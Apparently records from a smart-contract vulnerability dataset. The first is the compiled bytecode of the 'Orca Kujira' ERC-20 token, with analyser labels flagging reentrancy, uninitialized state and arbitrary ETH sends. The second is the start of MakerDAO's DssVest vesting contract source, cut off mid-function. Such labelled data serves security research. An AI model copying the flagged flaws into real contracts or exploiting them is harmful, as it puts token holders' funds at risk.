0x6080604052600436106100f75760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb146102ff578063c3c8cd801461033c578063dd62ed3e14610353578063e8078d9414610390576100fe565b8063715018a6146102695780638da5cb5b1461028057806395d89b41146102ab5780639bd53640146102d6576100fe565b8063313ce567116100c6578063313ce567146101d35780635fd8c710146101fe5780636fc3eaec1461021557806370a082311461022c576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190612e5e565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612a5a565b6103c7565b6040516101629190612e43565b60405180910390f35b34801561017757600080fd5b506101806103e5565b60405161018d9190612fc0565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190612a0b565b6103f6565b6040516101ca9190612e43565b60405180910390f35b3480156101df57600080fd5b506101e86104cf565b6040516101f59190613035565b60405180910390f35b34801561020a57600080fd5b506102136104d8565b005b34801561022157600080fd5b5061022a6105b6565b005b34801561023857600080fd5b50610253600480360381019061024e9190612941565b610628565b6040516102609190612fc0565b60405180910390f35b34801561027557600080fd5b5061027e610679565b005b34801561028c57600080fd5b506102956107cc565b6040516102a29190612d75565b60405180910390f35b3480156102b757600080fd5b506102c06107f5565b6040516102cd9190612e5e565b60405180910390f35b3480156102e257600080fd5b506102fd60048036038101906102f89190612993565b610832565b005b34801561030b57600080fd5b5061032660048036038101906103219190612a5a565b610a41565b6040516103339190612e43565b60405180910390f35b34801561034857600080fd5b50610351610a5f565b005b34801561035f57600080fd5b5061037a600480360381019061037591906129cf565b610ad9565b6040516103879190612fc0565b60405180910390f35b34801561039c57600080fd5b506103a5610b60565b005b60606040518060600160405280602381526020016135d660239139905090565b60006103db6103d4611027565b848461102f565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104038484846111fa565b6104c48461040f611027565b6104bf856040518060600160405280602881526020016135f960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610475611027565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc09092919063ffffffff16565b61102f565b600190509392505050565b60006009905090565b6104e0611027565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056490612f20565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156105b3573d6000803e3d6000fd5b50565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105f7611027565b73ffffffffffffffffffffffffffffffffffffffff161461061757600080fd5b600047905061062581611d24565b50565b6000610672600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1f565b9050919050565b610681611027565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070590612f20565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f244f7263614b756a697261000000000000000000000000000000000000000000815250905090565b61083a611027565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be90612f20565b60405180910390fd5b81600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000610a55610a4e611027565b84846111fa565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610aa0611027565b73ffffffffffffffffffffffffffffffffffffffff1614610ac057600080fd5b6000610acb30610628565b9050610ad681611e8d565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b68611027565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bec90612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c8530601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061102f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ccb57600080fd5b505afa158015610cdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d03919061296a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d6557600080fd5b505afa158015610d79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9d919061296a565b6040518363ffffffff1660e01b8152600401610dba929190612d90565b602060405180830381600087803b158015610dd457600080fd5b505af1158015610de8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0c919061296a565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e9530610628565b600080610ea06107cc565b426040518863ffffffff1660e01b8152600401610ec296959493929190612de2565b6060604051808303818588803b158015610edb57600080fd5b505af1158015610eef573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f149190612abf565b5050506001601160156101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fd1929190612db9565b602060405180830381600087803b158015610feb57600080fd5b505af1158015610fff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110239190612a96565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561109f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109690612f80565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561110f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110690612ec0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ed9190612fc0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561126a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126190612f60565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d190612e80565b60405180910390fd5b6000811161131d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131490612f40565b60405180910390fd5b6113256107cc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561139357506113636107cc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611bf5573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561145a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114b45750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156115b057601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114fa611027565b73ffffffffffffffffffffffffffffffffffffffff1614806115705750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611558611027565b73ffffffffffffffffffffffffffffffffffffffff16145b6115af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a690612fa0565b60405180910390fd5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116545750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61165d57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117085750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561175e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117c457601e4261177091906130a5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600981905550600a6008819055505b60006117cf30610628565b9050601160149054906101000a900460ff1615801561183c5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118545750601160159054906101000a900460ff165b15611bf3576118aa606461189c600361188e601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610628565b61218790919063ffffffff16565b61220290919063ffffffff16565b82111580156118f7575042600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b61190057600080fd5b4261a8c0600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194e91906130a5565b116119e15742600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611aca565b6004600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a71576004600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055611ac8565b6001600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ac191906130a5565b9250508190555b505b6000811115611af657611adc81611e8d565b60004790506000811115611af457611af347611d24565b5b505b611b476064611b396001611b2b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610628565b61218790919063ffffffff16565b61220290919063ffffffff16565b8211158015611b9557506001600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15611ba957611ba4600061224c565b611bf2565b611bf1600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224c565b5b5b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c9c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ca657600090505b611cb284848484612272565b611cba61229f565b50505050565b6000838311158290611d08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cff9190612e5e565b60405180910390fd5b5060008385611d179190613186565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d7460028461220290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d9f573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611df060028461220290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e1b573d6000803e3d6000fd5b5050565b6000600654821115611e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5d90612ea0565b60405180910390fd5b6000611e706122b1565b9050611e85818461220290919063ffffffff16565b915050919050565b6001601160146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611eeb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f195781602001602082028036833780820191505090505b5090503081600081518110611f57577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ff957600080fd5b505afa15801561200d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612031919061296a565b8160018151811061206b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120d230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461102f565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612136959493929190612fdb565b600060405180830381600087803b15801561215057600080fd5b505af1158015612164573d6000803e3d6000fd5b50505050506000601160146101000a81548160ff02191690831515021790555050565b60008083141561219a57600090506121fc565b600082846121a8919061312c565b90508284826121b791906130fb565b146121f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ee90612f00565b60405180910390fd5b809150505b92915050565b600061224483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506122dc565b905092915050565b6122618160085461218790919063ffffffff16565b600881905550600660098190555050565b806122805761227f61233f565b5b61228b848484612370565b806122995761229861229f565b5b50505050565b600a6008819055506006600981905550565b60008060006122be61253b565b915091506122d5818361220290919063ffffffff16565b9250505090565b60008083118290612323576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231a9190612e5e565b60405180910390fd5b506000838561233291906130fb565b9050809150509392505050565b600060085414801561235357506000600954145b1561235d5761236e565b600060088190555060006009819055505b565b6000806000806000806123828761259d565b9550955095509550955095506123e086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461260590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061247585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461264f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124c1816126ad565b6124cb848361276a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125289190612fc0565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea000009050612571683635c9adc5dea0000060065461220290919063ffffffff16565b82101561259057600654683635c9adc5dea00000935093505050612599565b81819350935050505b9091565b60008060008060008060008060006125ba8a6008546009546127a4565b92509250925060006125ca6122b1565b905060008060006125dd8e87878761283a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061264783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cc0565b905092915050565b600080828461265e91906130a5565b9050838110156126a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161269a90612ee0565b60405180910390fd5b8091505092915050565b60006126b76122b1565b905060006126ce828461218790919063ffffffff16565b905061272281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461264f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61277f8260065461260590919063ffffffff16565b60068190555061279a8160075461264f90919063ffffffff16565b6007819055505050565b6000806000806127d060646127c2888a61218790919063ffffffff16565b61220290919063ffffffff16565b905060006127fa60646127ec888b61218790919063ffffffff16565b61220290919063ffffffff16565b9050600061282382612815858c61260590919063ffffffff16565b61260590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612853858961218790919063ffffffff16565b9050600061286a868961218790919063ffffffff16565b90506000612881878961218790919063ffffffff16565b905060006128aa8261289c858761260590919063ffffffff16565b61260590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000813590506128d281613579565b92915050565b6000815190506128e781613579565b92915050565b6000813590506128fc81613590565b92915050565b600081519050612911816135a7565b92915050565b600081359050612926816135be565b92915050565b60008151905061293b816135be565b92915050565b60006020828403121561295357600080fd5b6000612961848285016128c3565b91505092915050565b60006020828403121561297c57600080fd5b600061298a848285016128d8565b91505092915050565b600080604083850312156129a657600080fd5b60006129b4858286016128ed565b92505060206129c5858286016128ed565b9150509250929050565b600080604083850312156129e257600080fd5b60006129f0858286016128c3565b9250506020612a01858286016128c3565b9150509250929050565b600080600060608486031215612a2057600080fd5b6000612a2e868287016128c3565b9350506020612a3f868287016128c3565b9250506040612a5086828701612917565b9150509250925092565b60008060408385031215612a6d57600080fd5b6000612a7b858286016128c3565b9250506020612a8c85828601612917565b9150509250929050565b600060208284031215612aa857600080fd5b6000612ab684828501612902565b91505092915050565b600080600060608486031215612ad457600080fd5b6000612ae28682870161292c565b9350506020612af38682870161292c565b9250506040612b048682870161292c565b9150509250925092565b6000612b1a8383612b26565b60208301905092915050565b612b2f816131ba565b82525050565b612b3e816131ba565b82525050565b6000612b4f82613060565b612b598185613083565b9350612b6483613050565b8060005b83811015612b95578151612b7c8882612b0e565b9750612b8783613076565b925050600181019050612b68565b5085935050505092915050565b612bab816131de565b82525050565b612bba81613221565b82525050565b6000612bcb8261306b565b612bd58185613094565b9350612be5818560208601613233565b612bee816132c4565b840191505092915050565b6000612c06602383613094565b9150612c11826132d5565b604082019050919050565b6000612c29602a83613094565b9150612c3482613324565b604082019050919050565b6000612c4c602283613094565b9150612c5782613373565b604082019050919050565b6000612c6f601b83613094565b9150612c7a826133c2565b602082019050919050565b6000612c92602183613094565b9150612c9d826133eb565b604082019050919050565b6000612cb5602083613094565b9150612cc08261343a565b602082019050919050565b6000612cd8602983613094565b9150612ce382613463565b604082019050919050565b6000612cfb602583613094565b9150612d06826134b2565b604082019050919050565b6000612d1e602483613094565b9150612d2982613501565b604082019050919050565b6000612d41601183613094565b9150612d4c82613550565b602082019050919050565b612d608161320a565b82525050565b612d6f81613214565b82525050565b6000602082019050612d8a6000830184612b35565b92915050565b6000604082019050612da56000830185612b35565b612db26020830184612b35565b9392505050565b6000604082019050612dce6000830185612b35565b612ddb6020830184612d57565b9392505050565b600060c082019050612df76000830189612b35565b612e046020830188612d57565b612e116040830187612bb1565b612e1e6060830186612bb1565b612e2b6080830185612b35565b612e3860a0830184612d57565b979650505050505050565b6000602082019050612e586000830184612ba2565b92915050565b60006020820190508181036000830152612e788184612bc0565b905092915050565b60006020820190508181036000830152612e9981612bf9565b9050919050565b60006020820190508181036000830152612eb981612c1c565b9050919050565b60006020820190508181036000830152612ed981612c3f565b9050919050565b60006020820190508181036000830152612ef981612c62565b9050919050565b60006020820190508181036000830152612f1981612c85565b9050919050565b60006020820190508181036000830152612f3981612ca8565b9050919050565b60006020820190508181036000830152612f5981612ccb565b9050919050565b60006020820190508181036000830152612f7981612cee565b9050919050565b60006020820190508181036000830152612f9981612d11565b9050919050565b60006020820190508181036000830152612fb981612d34565b9050919050565b6000602082019050612fd56000830184612d57565b92915050565b600060a082019050612ff06000830188612d57565b612ffd6020830187612bb1565b818103604083015261300f8186612b44565b905061301e6060830185612b35565b61302b6080830184612d57565b9695505050505050565b600060208201905061304a6000830184612d66565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130b08261320a565b91506130bb8361320a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130f0576130ef613266565b5b828201905092915050565b60006131068261320a565b91506131118361320a565b92508261312157613120613295565b5b828204905092915050565b60006131378261320a565b91506131428361320a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561317b5761317a613266565b5b828202905092915050565b60006131918261320a565b915061319c8361320a565b9250828210156131af576131ae613266565b5b828203905092915050565b60006131c5826131ea565b9050919050565b60006131d7826131ea565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061322c8261320a565b9050919050565b60005b83811015613251578082015181840152602081019050613236565b83811115613260576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613582816131ba565b811461358d57600080fd5b50565b613599816131cc565b81146135a457600080fd5b50565b6135b0816131de565b81146135bb57600080fd5b50565b6135c78161320a565b81146135d257600080fd5b5056fe4f726361204b756a6972612068747470733a2f2f742e6d652f4f7263614b756a69726145524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f66f24428ec2081b66e17b469480b3c07f20932377366f460e0ddb580b9d339864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,080 |
0x0fC8D4f2151453ca0cA56f07359049c8f07997Bd
|
/**
*Submitted for verification at Etherscan.io on 2021-09-02
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
//
// DssVest - Token vesting contract
//
// Copyright (C) 2021 Dai Foundation
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.6.12;
interface MintLike {
function mint(address, uint256) external;
}
interface ChainlogLike {
function getAddress(bytes32) external view returns (address);
}
interface DaiJoinLike {
function exit(address, uint256) external;
}
interface VatLike {
function hope(address) external;
function suck(address, address, uint256) external;
}
interface TokenLike {
function transferFrom(address, address, uint256) external returns (bool);
}
abstract contract DssVest {
uint256 public constant TWENTY_YEARS = 20 * 365 days;
uint256 internal locked;
event Rely(address indexed usr);
event Deny(address indexed usr);
event Init(uint256 indexed id, address indexed usr);
event Vest(uint256 indexed id, uint256 amt);
event Move(uint256 indexed id, address indexed dst);
event File(bytes32 indexed what, uint256 data);
event Yank(uint256 indexed id, uint256 end);
event Restrict(uint256 indexed id);
event Unrestrict(uint256 indexed id);
// --- Auth ---
mapping (address => uint256) public wards;
function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); }
function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); }
modifier auth {
require(wards[msg.sender] == 1, "DssVest/not-authorized");
_;
}
// --- Mutex ---
modifier lock {
require(locked == 0, "DssVest/system-locked");
locked = 1;
_;
locked = 0;
}
struct Award {
address usr; // Vesting recipient
uint48 bgn; // Start of vesting period [timestamp]
uint48 clf; // The cliff date [timestamp]
uint48 fin; // End of vesting period [timestamp]
address mgr; // A manager address that can yank
uint8 res; // Restricted
uint128 tot; // Total reward amount
uint128 rxd; // Amount of vest claimed
}
mapping (uint256 => Award) public awards;
uint256 public ids;
uint256 public cap; // Maximum per-second issuance token rate
// Getters to access only to the value desired
function usr(uint256 _id) external view returns (address) {
return awards[_id].usr;
}
function bgn(uint256 _id) external view returns (uint256) {
return awards[_id].bgn;
}
function clf(uint256 _id) external view returns (uint256) {
return awards[_id].clf;
}
function fin(uint256 _id) external view returns (uint256) {
return awards[_id].fin;
}
function mgr(uint256 _id) external view returns (address) {
return awards[_id].mgr;
}
function res(uint256 _id) external view returns (uint256) {
return awards[_id].res;
}
function tot(uint256 _id) external view returns (uint256) {
return awards[_id].tot;
}
function rxd(uint256 _id) external view returns (uint256) {
return awards[_id].rxd;
}
/*
@dev Base vesting logic contract constructor
*/
constructor() public {
wards[msg.sender] = 1;
emit Rely(msg.sender);
}
/*
@dev (Required) Set the per-second token issuance rate.
@param what The tag of the value to change (ex. bytes32("cap"))
@param data The value to update (ex. cap of 1000 tokens/yr == 1000*WAD/365 days)
*/
function file(bytes32 what, uint256 data) external auth lock {
if (what == "cap") cap = data; // The maximum amount of tokens that can be streamed per-second per vest
else revert("DssVest/file-unrecognized-param");
emit File(what, data);
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x > y ? y : x;
}
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "DssVest/add-overflow");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "DssVest/sub-underflow");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "DssVest/mul-overflow");
}
function toUint48(uint256 x) internal pure returns (uint48 z) {
require((z = uint48(x)) == x, "DssVest/uint48-overflow");
}
function toUint128(uint256 x) internal pure returns (uint128 z) {
require((z = uint128(x)) == x, "DssVest/uint128-overflow");
}
/*
@dev Govanance adds a vesting contract
@param _usr The recipient of the reward
@param _tot The total amount of the vest
@param _bgn The starting timestamp of the vest
@param _tau The duration of the vest (in seconds)
@param _eta The cliff duration in seconds (i.e. 1 years)
@param _mgr An optional manager for the contract. Can yank if vesting ends prematurely.
@return id The id of the vesting contract
*/
function create(address _usr, uint256 _tot, uint256 _bgn, uint256 _tau, uint256 _eta, address _mgr) external auth lock returns (uint256 id) {
require(_usr != address(0), "DssVest/invalid-user");
require(_tot > 0, "DssVest/no-vest-total-amount");
